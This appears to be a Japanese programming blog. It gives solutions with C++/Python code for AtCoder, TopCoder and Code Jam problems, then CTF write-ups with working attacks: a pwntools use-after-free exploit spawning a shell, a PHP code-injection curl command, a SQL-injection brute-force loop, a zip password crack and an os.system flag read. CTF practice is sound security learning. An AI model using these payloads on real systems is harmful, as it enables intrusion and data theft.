AtCoder Grand Contest 004: E - Sequential operations on Sequence

,

http://agc004.contest.atcoder.jp/tasks/agc004_e

$O(H^2W^2)$でbounding boxを尽くせば求まりそうだとは思ったが、細部を詰めるのも実装するのも面倒だなあと思ってしまったので解説を見てしまった。方向は合ってた。

solution

壁の外に出てないロボットの範囲、あるいは出口を動かすと考えて出口が(ロボットを追加で爆発させることなしに)動ける範囲は、上下左右$(u,d,l,r)$という$4$つ組で表わせる。 そのような場合の救出したロボットの数の最大値を返す関数$\mathrm{dp} : H \times H \times W \times W \to \mathbb{N}$で計算する。$O(H^2W^2)$。

$dp(u,d,l,r)$から$dp(u+1,d,l,r), dp(u,d+1,l,r), dp(u,d,l+1,r), dp(u,d,l,r+1)$が求まるので丁寧にやる。 例えば$dp(u+1,d,l,r)$を求めるとき、$d \le E_y-(u+1)$である必要があって$(E_y-(u+1), x)$で$\max(E_x-l, r) \le x \lt \min(E_x+r+1, W-l)$の範囲のロボットが追加で救出できる。

implementation

#include <cstdio>
#include <cstdint>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
template <class T> inline void setmax(T & a, T const & b) { a = max(a, b); }

constexpr int max_h = 100;
constexpr int max_w = 100;
int16_t dp[max_h][max_w][max_h][max_w];
bool f[max_h][max_w];
int row_acc[max_h][max_w+1];
int col_acc[max_w][max_h+1];
int main() {
    int h, w; scanf("%d%d", &h, &w);
    int ey = -1, ex = -1;
    repeat (y,h) repeat (x,w) {
        char c; scanf(" %c", &c);
        if (c == 'o') f[y][x] = true;
        if (c == 'E') { ey = y; ex = x; }
    }
    repeat (y,h) repeat (x,w) row_acc[y][x+1] = row_acc[y][x] + f[y][x];
    repeat (y,h) repeat (x,w) col_acc[x][y+1] = col_acc[x][y] + f[y][x];
    repeat (ly,ey+1) {
        repeat (lx,ex+1) {
            repeat (ry,h-ey) {
                repeat (rx,w-ex) {
                    auto col = [&](int x) { return rx <= x and x < w-lx ? col_acc[x][min(ey+ry+1,h-ly)] - col_acc[x][max(ey-ly,ry)] : 0; };
                    auto row = [&](int y) { return ry <= y and y < h-ly ? row_acc[y][min(ex+rx+1,w-lx)] - row_acc[y][max(ex-lx,rx)] : 0; };
                    if (ey-(ly+1) >= 0) setmax<int16_t>(dp[ly+1][lx][ry][rx], dp[ly][lx][ry][rx] + row(ey-(ly+1)));
                    if (ex-(lx+1) >= 0) setmax<int16_t>(dp[ly][lx+1][ry][rx], dp[ly][lx][ry][rx] + col(ex-(lx+1)));
                    if (ey+(ry+1) <  h) setmax<int16_t>(dp[ly][lx][ry+1][rx], dp[ly][lx][ry][rx] + row(ey+(ry+1)));
                    if (ex+(rx+1) <  w) setmax<int16_t>(dp[ly][lx][ry][rx+1], dp[ly][lx][ry][rx] + col(ex+(rx+1)));
                }
            }
        }
    }
    printf("%d\n", dp[ey][ex][h-ey-1][w-ex-1]);
    return 0;
}

AtCoder Grand Contest 003: E - Sequential operations on Sequence

,

http://agc003.contest.atcoder.jp/tasks/agc003_e

途中で詰まったのでeditorialを読んだが、分かりにくかったので後半は読んでない。

solution

操作列を逆順に見て畳んでいく。 計算量の解析はよく分からないが、保守的に見て$O(Q^2 \log Q + N)$ではある。

まず、操作列$A$は狭義単調増加としてよい。 $A_i \ge A_{i+1}$であれば、$A_i$による操作は無視してよいため。 不要な操作を除去するのはstackを使うのが楽。

操作$A_{i+1} = qA_i + r$は、現在の数列(長さは$A_i$)の複製を$q-1$回末尾に追加しさらに先頭から$r$項を末尾に追加するような操作となる。 例えば$A = (5, 8, 11, 29)$なら以下。

 5: 12345
 8: 12345 123
11: 12345 123 123
29: 12345 123 123 12345 123 123 12345 12

これを逆順に行う。その項がどこから来たかを考えその出処に足し込む。 操作$A_{i+1} = qA_i + r$は、操作後の数列の$j$項目は現在の数列(長さは$A_{i+1}$)の$k$項目($k \equiv j \pmod{A_i}$)の和とする。 これは同じ例に対し以下のようになり、最後の行は問題全体の答えになる。

29: 11111 111 111 11111 111 111 11111 11
11: 33333 332 222
 8: 55533 332
 5: 88733

これを愚直に行うと$O(\sum_{i \lt Q} A_i)$であり間に合わない。 そこで、最終的な列の始切片で長さ$l$のものが$k$個あるという情報をstd::map等で管理し、各操作$A_i$でこれを切り分けていくようにする。 計算量の解析は上手くできなかったが、十分な速度で動作する。 同じ例に対し以下。

29: 29*1
11: 11*2 7*1
 8: 8*2 7 3*2
 5: 5*3 3*4 2*1
-> 12345 12345 12345 123 123 123 123 12 12

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <map>
#include <queue>
#include <tuple>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;

int main() {
    // input
    int n, q; scanf("%d%d", &n, &q);
    vector<ll> a(q); repeat (i,q) scanf("%lld", &a[i]);
    { // remove unnecessary queries
        vector<ll> b;
        b.push_back(n);
        repeat (i,q) {
            while (not b.empty() and a[i] <= b.back()) {
                b.pop_back();
            }
            b.push_back(a[i]);
        }
        a = b;
        q = b.size();
    }
    assert (whole(is_sorted, a));
    // compute in reverse order
    vector<ll> cnt(n);
    map<ll, ll> que;
    que[a.back()] += 1;
    repeat_reverse (i,q-1) {
        ll t = 0;
        while (not que.empty() and que.rbegin()->first >= a[i]) {
            ll delta, k; tie(delta, k) = *que.rbegin(); que.erase(delta);
            ll q = delta / a[i];
            t += k*q;
            ll r = delta % a[i];
            if (r == 0) {
                // nop
            } else if (r <= a[0]) {
                cnt[r-1] += k;
            } else {
                que[r] += k;
            }
        }
        que[a[i]] += t;
    }
    assert (que.size() == 1 and que.begin()->first == a[0]);
    cnt[a[0]-1] += que.begin()->second;
    repeat_reverse (i,n-1) {
        cnt[i] += cnt[i+1];
    }
    // output
    repeat (i,n) {
        printf("%lld\n", cnt[i]);
    }
    return 0;
}

AtCoder Grand Contest 002: E - Candy Piles

,

http://agc002.contest.atcoder.jp/tasks/agc002_e

山のキャンディを全て食べる操作を任意の山に対して行えると誤読し、解説を読んで気付いた。

solution

ad-hocに。$O(N)$。 図が載ってて分かりやすいので、editorialを見て。


解法はeditorialに譲ったので、感じたことを書く。

まず問題文より、行なえる操作は以下のふたつ。

  1. キャンディが最も多く残っている山をひとつ選び、その山のキャンディをすべて食べる。
  2. キャンディが残っているすべての山から、1 個ずつキャンディを食べる。

始めに山を降順に整列しておけば、(1.)は最も左の山を削除するという操作になる。 (2.)の操作は順序を保存する。 また、これらの操作(1.), (2.)は可換である。 ということで、それぞれの操作回数を$a, b$として、ゲームの状態は座標$(a, b)$のようにして表せる。

このような感じに座標に落とすのは多分他の問題でも出てきそうという気がする。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
int main() {
    // input
    int n; scanf("%d", &n);
    vector<int> a(n); repeat (i,n) scanf("%d", &a[i]);
    whole(sort, a);
    whole(reverse, a);
    // compute
    int z = 0;
    assert (z < n and z < a[z]);
    while (z+1 < n and z+1 < a[z+1]) ++ z;
    int dy = a[z] - z - 1;
    int dx = 0;
    while (z + dx+1 < n and z < a[z + dx+1]) ++ dx;
    bool result = (dy % 2 == 1) or (dx % 2 == 1);
    // output
    printf("%s\n", result ? "First" : "Second");
    return 0;
}

AtCoder Grand Contest 001: E - BBQ Hard

,

http://agc001.contest.atcoder.jp/tasks/agc001_e

頭がいい感じの解法。imos法っぽい。

solution

DPで組み合せ求めるやつを同じ表でまとめてやる。 $H = \max_i A_i, \; W = \max_i B_i$として$O(HW)$。

愚直にやると答えは$\sum_{j \lt N} \sum_{i \lt j} {A_i + B_i + A_j + B_j}_{}C_{A_i + A_j}$。 しかしこれを単純に求めると$O(N^2)$になってしまう。 ${}_NC_R$を求める方法のひとつとして格子上の経路数として説明されるDPが知られている。 この経路の始点を複数にして同時にやる。 $[- \max_i A_i, + \max_i A_i] \times [- \max_i B_i, + \max_i B_i]$の表を用意して、それぞれの$i$について$(A_i, B_i)$に$1$を置くことで初期化とし、この上で同様な更新をする。 その後それぞれの$i$について$(A_i, B_i)$の位置の値を足し合わせ、同じ串を$2$回使ってしまう分を引き、串の使用順序を無視するため$2$で割れば答え。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }

constexpr int mod = 1e9+7;
int main() {
    // input
    int n; scanf("%d", &n);
    vector<int> a(n), b(n); repeat (i,n) scanf("%d%d", &a[i], &b[i]);
    // dp
    int max_a = *whole(max_element, a);
    int max_b = *whole(max_element, b);
    vector<vector<int> > choose = vectors(2*max_a+1, 2*max_b+1, int());
    choose[0][0] = 1;
    vector<vector<int> > dp = vectors(2*max_a+1, 2*max_b+1, int());
    repeat (i,n) {
        dp[max_a-a[i]][max_b-b[i]] += 1;
    }
    repeat (y,2*max_a+1) {
        repeat (x,2*max_b+1) {
            choose[y][x] %= mod;
            dp[y][x] %= mod;
            if (y+1 < 2*max_a+1) choose[y+1][x] += choose[y][x];
            if (x+1 < 2*max_b+1) choose[y][x+1] += choose[y][x];
            if (y+1 < 2*max_a+1) dp[y+1][x] += dp[y][x];
            if (x+1 < 2*max_b+1) dp[y][x+1] += dp[y][x];
        }
    }
    // result
    ll result = 0;
    repeat (i,n) {
        result += dp[max_a+a[i]][max_b+b[i]];
        result -= choose[2*a[i]][2*b[i]];
    }
    result %= mod;
    result *= (mod+1)/2; // inv(2, mod)
    result %= mod;
    if (result < 0) result += mod;
    // output
    printf("%lld\n", result);
    return 0;
}

TopCoder SRM 711 Div1 Easy: PowerEquation

,

Div 1/2共に荒れた回。

私の提出よりもっと簡潔な提出もあった。

solution

$a \le \sqrt{n}$なら愚直に。$a \gt \sqrt{n}$なら$a = c$かつ$1 \le b = d \le n$となる。時間/空間共に$O(\sqrt{n})$。

$a = 1$のときは例外として処理。 $p \ge 2$として、$p = a^b$となる自然数$a, b$が$a = p \land b = 1$以外に存在しないような$p$を非累乗数と呼ぶことにする。 非累乗数$p \le n$に対し$a = p^e \land c = p^f$として$p, e, f$を動かせば有効な組$(a, c)$を尽くせ、特に$e, f \le \log_a{n}$と十分小さい。 このような$(a, c)$に対し有効な組$(b, d)$の個数は$gcd(e, f)$を使って$O(1)$で求まる。

ただし$p$を$n$まで動かすと間に合わない。 そこで$p \gt \sqrt{n}$なら常に$a = c = p$となることを使ってまとめる。 区間$(\sqrt{n}, n]$中の非累乗数の数を$k$とすると、それらから見つかる組$(a, b, c, d)$の数は$kn$となる。

implementation

検算にはHaskellが最強

>>> let n = 10 in length $ do { a <- [1..n]; c <- [1..n]; b <- [1..n]; d <- [1..n]; guard (a^b == c^d) }
222
#include <bits/stdc++.h>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < (n); ++(i))
typedef long long ll;
using namespace std;
class PowerEquation { public: int count(int n); };
template <typename T> T gcd(T a, T b) { while (a) { b %= a; swap(a, b); } return b; }
template <typename T> T lcm(T a, T b) { return (a * b) / gcd(a,b); }

constexpr int mod = 1e9+7;
int PowerEquation::count(int n) {
    int sqrt_n = ceil(sqrt(n));
    // perfect powers
    vector<int> is_perfect_power(sqrt_n+1);
    int large_perfect_power = 0;
    is_perfect_power[0] = true;
    is_perfect_power[1] = true;
    repeat_from (a,2,sqrt_n+1) if (not is_perfect_power[a]) {
        ll a_k = a*a;
        for (; a_k <= sqrt_n; a_k *= a) {
            is_perfect_power[a_k] = true;
        }
        for (; a_k <= n; a_k *= a) {
            large_perfect_power += 1;
        }
    }
    // count
    ll result = 0;
    // // for a = c = 1
    result += n *(ll) n % mod;
    // // small not-perfect-power numbers
    repeat (p,sqrt_n+1) if (not is_perfect_power[p]) {
        int log_a = 1;
        for (ll a = p; a <= n; a *= p, ++ log_a) {
            int log_c = 1;
            for (ll c = p; c <= n; c *= p, ++ log_c) {
                int d = gcd(log_a, log_c);
                result += n / max(log_a/d, log_c/d);
            }
        }
    }
    result %= mod;
    // // large not-perfect-power numbers
    result += ((n - sqrt_n) - large_perfect_power) *(ll) n % mod;
    result %= mod;
    return result;
}

AtCoder Grand Contest 013: D - Piling Up

,

http://agc013.contest.atcoder.jp/tasks/agc013_d

solution

状態遷移の経路の数でなくてその出力の数を数えるという点が難しい。出力に関するこの言及を上手く状態の言葉に落とす。DP。$O(NM)$。

ある出力を生む経路は複数存在する。経路の集合をその出力の等しさで割って同値類を作り、特にその代表元を上手く選びたい。 経路の初期状態での赤い積み木の数が最小となるようなものをそのそのような代表元とすると上手くいく。 特にそのような場合、経路中で赤い積み木の数が$0$になるような時刻が存在することが示せる。 ここから逆に、単純な経路の数のDPをして、経路中で一度以上赤い積み木の数が$0$になるような経路の総数を数えればこれはちょうど代表元の数を数えることに等しい。 これは$O(NM)$のDPなので解けた。

implementation

#include <cstdio>
#include <vector>
#include <array>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;

constexpr int mod = 1e9+7;
int main() {
    int n, m; scanf("%d%d", &n, &m);
    vector<array<ll, 2> > cur(n+1); // (the current number of R, whether it has ever been 0) -> the number of paths
    vector<array<ll, 2> > prv(n+1);
    cur[0][true] = 1;
    repeat_from (i,1,n+1) cur[i][false] = 1;
    while (m --) {
        prv.swap(cur);
        repeat (i,n+1) repeat (p,2) cur[i][p] = 0;
        repeat (i,n+1) {
            repeat (p,2) {
                if (i >= 1) {
                    bool q = i == 1 ? true : p;
                    cur[i-1][q] += prv[i][p]; // R R
                    cur[i][q] += prv[i][p]; // R B
                }
                if (i <= n-1) {
                    cur[i+1][p] += prv[i][p]; // B B
                    cur[i][p] += prv[i][p]; // B R
                }
            }
        }
        cur[0][ true] += cur[0][false];
        cur[0][false] = 0;
        repeat (i,n+1) repeat (p,2) cur[i][p] %= mod;
    }
    ll result = 0;
    repeat (i,n+1) result += cur[i][true];
    result %= mod;
    printf("%lld\n", result);
    return 0;
}

Google Code Jam 2017 Round 1A: C. Play the Dragon

,

https://code.google.com/codejam/contest/5304486/dashboard#s=p2

solution

Buf/Debufの回数を全探索。task並列化して計算資源で殴る。$O(A_k/D + \sqrt{H_k})$。

命令の使い方はDebuf $\to$ Buf $\to$ Attackの順で、適宜Cureを差し込むのが最適。 倒すのにBuf + Attackが何回必要かはBufの回数を総当たり。ただし上限は$\sqrt{H_k}$回でよい。これはほぼ無視できる。 Debufの上限は$A_k/D$回である。これは無視できない。

無視できないとはいえ$A_k/D \le 10^9$なので、間に合わないこともない。 定数倍高速化をきちんとやれば間に合うだろうし、並列化すれば確実。

例として、並列化なしで手元実行:

real    13m41.437s
user    13m37.268s
sys     0m0.572s

-fopenmpを付けてAWS c4.8xlarge上(36論理コア)で実行:

real    0m35.823s
user    15m46.604s
sys     0m0.352s

implementation

#include <cstdio>
#include <vector>
#include <tuple>
#include <cmath>
#include <omp.h>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }

constexpr ll infll = ll(1e18)+9;
ll solve(ll hd, ll ad, ll hk, ll ak, ll b, ll d) {
    ll turns_to_kill = infll; { // if no cure / debuf are required, this value is the result
        int buf_count_limit = sqrt(hk) + 100;
        repeat (buf, buf_count_limit) {
            ll buffed_ad = ad + buf * b; // Buf
            setmin(turns_to_kill, buf + (hk + buffed_ad-1) / buffed_ad); // Attack
        }
    }
    ll result = infll;
    int debuf_count_limit = d == 0 ? 0 : ak / d + 3;
    ll turns_to_debuf = 0;
    ll hd_after_debuf = hd;
    repeat (debuf, debuf_count_limit+1) {
        ll debuffed_ak = ak - debuf * d;
        if (debuffed_ak <= 0) {
            setmin(result, turns_to_debuf + turns_to_kill);
            break;
        }
        ll initial_turns_to_cure = (hd_after_debuf - 1) / debuffed_ak;
        ll turns_to_cure = (hd - 1) / debuffed_ak - 1;
        if ((turns_to_kill - 1) <= initial_turns_to_cure) {
            setmin(result, turns_to_debuf + turns_to_kill);
        } else if (turns_to_cure >= 1) {
            ll remaining_turns_to_kill = turns_to_kill - initial_turns_to_cure;
            ll cure_count = ((remaining_turns_to_kill - 1) + turns_to_cure - 1) / turns_to_cure;
            setmin(result, turns_to_debuf + turns_to_kill + cure_count);
        }
        ll next_debuffed_ak = max<ll>(0, debuffed_ak - d);
        if (hd_after_debuf <= next_debuffed_ak) {
            hd_after_debuf = hd - debuffed_ak; // Cure
            turns_to_debuf += 1;
            if (hd_after_debuf <= next_debuffed_ak) break;
        }
        hd_after_debuf -= next_debuffed_ak; // Debuf
        turns_to_debuf += 1;
    }
    return result;
}

int main() {
    int t; scanf("%d", &t);
    vector<tuple<int, int, int, int, int, int> > query(t);
    repeat (x,t) {
        int hd, ad, hk, ak, b, d; scanf("%d%d%d%d%d%d", &hd, &ad, &hk, &ak, &b, &d);
        query[x] = make_tuple(hd, ad, hk, ak, b, d);
    }
    vector<ll> result(t);
#pragma omp parallel for schedule(dynamic)
    repeat (x,t) {
        int hd, ad, hk, ak, b, d; tie(hd, ad, hk, ak, b, d) = query[x];
        result[x] = solve(hd, ad, hk, ak, b, d);
        fprintf(stderr, "Case #%d: %lld\n", x+1, result[x]);
    }
    repeat (x,t) {
        printf("Case #%d: ", x+1);
        if (result[x] == infll) {
            printf("IMPOSSIBLE\n");
        } else {
            printf("%lld\n", result[x]);
        }
    }
    return 0;
}

Google Code Jam 2017 Round 1A: B. Ratatouille

,

https://code.google.com/codejam/contest/5304486/dashboard#s=p1

問題文が難しすぎる。嫌い。

problem

$N$種類の食材がそれぞれ$P$パッケージずつあり、それぞれ$Q_{i,j}$グラム含む。 ratatouilleを$1$個作るのには食材$i$がそれぞれ$0.9R_i \sim 1.1R_i$グラム必要である。 $N$種類の食材からそれぞれ$1$パッケージずつ選び、整数$k$を決め、食材を過不足なく使って$k$個のratatouilleを消費すれば、$1$個のkitができる。 作るkitの数を最大化せよ。 ratatouilleの数ではないことに注意。

solution

区間に直して整列して見ていく。$O(NP \log {NP})$。

各$Q_{i,j}$から、$k \in [L, R)$と$k$個のratatouilleを作るのに$Q_{i,j}$を使えることが同値になるように区間$[L_{i,j}, R_{i,j})$を作る。 $L_{i,j}$を食材$i$の追加クエリ、$R_{i,j}$を食材$i$の削除クエリとして見て、これらをその値の順に見ていく。 個数$k$を増やしていきながら処理していって、全ての食材が同時にひとつ以上使えるならば貪欲に使えばよい。

implementation

#include <cstdio>
#include <vector>
#include <algorithm>
#include <queue>
#include <tuple>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }
template <class T> using reversed_priority_queue = priority_queue<T, vector<T>, greater<T> >;
int solve(int n, int p, vector<int> const & required, vector<vector<int> > const & quantity) {
    auto low = vectors(n, p, int());
    auto high = vectors(n, p, int()); // [l, r]
    repeat (i,n) {
        repeat (j,p) {
            const int r = required[i];
            const int q = quantity[i][j];
            int & lo = low[i][j];
            int & hi = high[i][j];
            lo = (10*q + 11*r-1) / (11*r);
            hi = 10*q / ( 9*r);
            if (lo <= hi) {
                constexpr double eps = 1e-8;
                assert (0.9*r*lo < eps + q and q < eps + 1.1*r*lo);
                assert (0.9*r*hi < eps + q and q < eps + 1.1*r*hi);
                assert (not (0.9*r*(lo-1) < eps + q and q < eps + 1.1*r*(lo-1)));
                assert (not (0.9*r*(hi+1) < eps + q and q < eps + 1.1*r*(hi+1)));
            }
        }
    }
    reversed_priority_queue<tuple<int, bool, int> > que;
    repeat (i,n) {
        repeat (j,p) {
            if (low[i][j] <= high[i][j]) {
                que.emplace(low[i][j], false, i);
                que.emplace(high[i][j], true, i);
            }
        }
    }
    vector<int> used(n);
    vector<int> remaining(n);
    int result = 0;
    while (not que.empty()) {
        int cur_time; bool is_pop; int i; tie(cur_time, is_pop, i) = que.top(); que.pop();
        if (is_pop) {
            if (used[i]) {
                -- used[i];
            } else {
                assert (remaining[i]);
                -- remaining[i];
            }
        } else {
            ++ remaining[i];
            if (remaining[i] == 1) {
                if (*whole(min_element, remaining) >= 1) {
                    repeat (j,n) remaining[j] -= 1;
                    repeat (j,n) used[j] += 1;
                    result += 1;
                }
            }
        }
    }
    return result;
}
int main() {
    int t; scanf("%d", &t);
    repeat (x,t) {
        int n, p; scanf("%d%d", &n, &p);
        vector<int> r(n); repeat (i,n) scanf("%d", &r[i]);
        auto q = vectors(n, p, int()); repeat (i,n) repeat (j,p) scanf("%d", &q[i][j]);
        int result = solve(n, p, r, q);
        printf("Case #%d: %d\n", x+1, result);
    }
    return 0;
}

Google Code Jam 2017 Round 1A: A. Alphabet Cake

,

https://code.google.com/codejam/contest/5304486/dashboard#s=p0

面白い問題。

solution

横に伸ばしてから縦に伸ばす。$O(HW)$。

図から読みとってほしい:

????A??B?      AAAAAABBB      AAAAAABBB
?????????  ->  ?????????  ->  AAAAAABBB
???C???D?      CCCCDDDDD      CCCCDDDDD
?????????      ?????????      CCCCDDDDD

implementation

#!/usr/bin/env python3
def solve(h, w, f):
    for y in range(h):
        c = None
        for x in range(w):
            if f[y][x] != '?':
                c = f[y][x]
                break
        if c is None:
            f[y] = None
            continue
        for x in range(w):
            if f[y][x] == '?':
                f[y][x] = c
            else:
                c = f[y][x]
    for y in range(h-1):
        if f[y+1] is None and f[y] is not None:
            f[y+1] = list(f[y])
    for y in reversed(range(h-1)):
        if f[y] is None and f[y+1] is not None:
            f[y] = list(f[y+1])
    return f
t = int(input())
for x in range(t):
    h, w = map(int, input().split())
    f = [ list(input()) for _ in range(h) ]
    print('Case #{}:\n{}'.format(x+1, '\n'.join(map(''.join, solve(h, w, f)))))

BCTF 2017: monkey

,

solution

諸々のファイルが渡されるが、ぐぐるとos.systemがあると分かるので終わり。

$ echo 'os.system("cat /home/js/flag")' | nc 202.112.51.248 2333
js> os.system("cat /home/js/flag")
bctf{319c1b47f786c7b99a757da74fd38408}
js> 0

BCTF 2017: babyuse

,

それほど難しくはないはずだが、無限に時間がかかってしまった。

problem

$ ./babyuse
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
1
Notice: You can only have up to 4 guns.
Choose a gun to add:
1. QSZ92
2. QBZ95
1
Lenth of name:
4
Input name:
foo
succeed.
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
5
Select gun foo
1. Shoot
2. Reload
3. Info
4. Main menu
1
BIU~
1
BIU~
1
BIU~
1
BIU~

solution

use-after-free bugがある。 double-freeはできない。 PIE。

  • heapの位置は、heap chunk内のmember fd bkのあたりから取る
  • これを使って構造体のvtableを読んでtextの位置を割り出す
  • GOT中のstdinとかからlibcを割り出す
  • vtableを書き換えてsystem("hoge;sh");

implementation

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import itertools
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='202.112.51.247')
parser.add_argument('port', nargs='?', default=3456, type=int)
parser.add_argument('--log-level', default='debug')
parser.add_argument('--binary', default='babyuse')
parser.add_argument('--libc', default='libc.so')
parser.add_argument('--token')
args = parser.parse_args()
context.log_level = args.log_level
elf = ELF(args.binary)
libc = ELF(args.libc)

p = remote(args.host, args.port)
if args.token:
    p.recvuntil('Token:')
    p.sendline(args.token)

# buy gun 0
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('AAAA')
# buy gun 1
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# select gun 1
p.recvuntil('Menu:')
p.sendline('2') # Select a Gun
p.recvuntil('Select a gun')
p.sendline('1')
# drop gun 0
p.recvuntil('Menu:')
p.sendline('6') # Drop a Gun
p.recvuntil('Choose a gun to delete:')
p.sendline('0')
# drop gun 1
p.recvuntil('Menu:')
p.sendline('6') # Drop a Gun
p.recvuntil('Choose a gun to delete:')
p.sendline('1')
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
heap_addr = u32(p.recvn(4)) # read heap addr from a link of a chunk header
p.sendline('4') # Main menu
log.info('heap: %#x', heap_addr)

# buy gun 0
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('AAAA')
# buy gun 1
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# buy gun 2
p.recvuntil('Menu:')
p.sendline('1') # Buy a Gun
p.recvuntil('Choose a gun to add:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('CCCC')
# select gun 0
p.recvuntil('Menu:')
p.sendline('2') # Select a Gun
p.recvuntil('Select a gun')
p.sendline('0')
# drop gun 0
p.recvuntil('Menu:')
p.sendline('6') # Drop a Gun
p.recvuntil('Choose a gun to delete:')
p.sendline('0')
# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('16') # sizeof(gun_t)
p.recvuntil('Input name:')
p.sendline('AAAA' + p32(heap_addr + 64))
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
text_addr = u32(p.recvn(4)) # read vtable
p.sendline('4') # Main menu
log.info('text: %#x', text_addr)

# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('16') # sizeof(gun_t)
p.recvuntil('Input name:')
p.sendline('AAAA' + p32(text_addr + 9040))
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
libc_addr = u32(p.recvn(4)) # read got
p.sendline('4') # Main menu
log.info('libc: %#x', libc_addr)

# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('4')
p.recvuntil('Input name:')
p.sendline('BBBB')
# rename gun 1
p.recvuntil('Menu:')
p.sendline('4') # Drop a Gun
p.recvuntil('Choose a gun to rename:')
p.sendline('1')
p.recvuntil('Lenth of name:')
p.sendline('16') # sizeof(gun_t)
p.recvuntil('Input name:')
payload = ''
payload += p32(heap_addr + 36)
payload += p32(heap_addr + 36)
payload += ';sh\0'
payload += p32(libc_addr - 1538048) # system
p.sendline(payload)
# use the gun
p.recvuntil('Menu:')
p.sendline('5') # Use a Gun
p.recvuntil('Select gun ')
p.sendline('1') # Shoot

# done
time.sleep(1)
p.sendline('id')
p.interactive()

FIT-HACK CTF 2017

,

https://ctftime.org/event/451

cryptoはかなりのguessing CTFだった。

flag

$ fcrackzip -u -l 0-4 flag.zip


PASSWORD FOUND!!!!: pw == 1864
fcrackzip -u -l 0-4 flag.zip  5.96s user 5.98s system 6% cpu 3:14.71 total

Sorry

HTMLとしてinjectionできるなあと思っていたらphpとしてinjectionできていた。

$ curl https://sorry.problem.ctf.nw.fit.ac.jp/in.php -F etc=$' <?php\necho `cat /var/tmp/flag`;\n?>'
FIT{fdsa__dasdas_32fa}
FIT{fdsa__dasdas_32fa} <?php
echo `cat /var/tmp/flag`;
?>:[email protected] <br>Saved it thank you!!



Let’s login

SQLi

$ s=9n89_ ; while true ; do for c in `seq 0 9` `alpha` _ ; do echo $s$c ; if curl -s https://login.problem.ctf.nw.fit.ac.jp/login.php -F name=name -F pass="' union select name, pass from user where pass like 'FIT{$s$c%' -- " | grep mes1 ; then s=$s$c ; break ; fi ; done ; done

FIT{9n89_y0u3u_9a811}

simple cipher

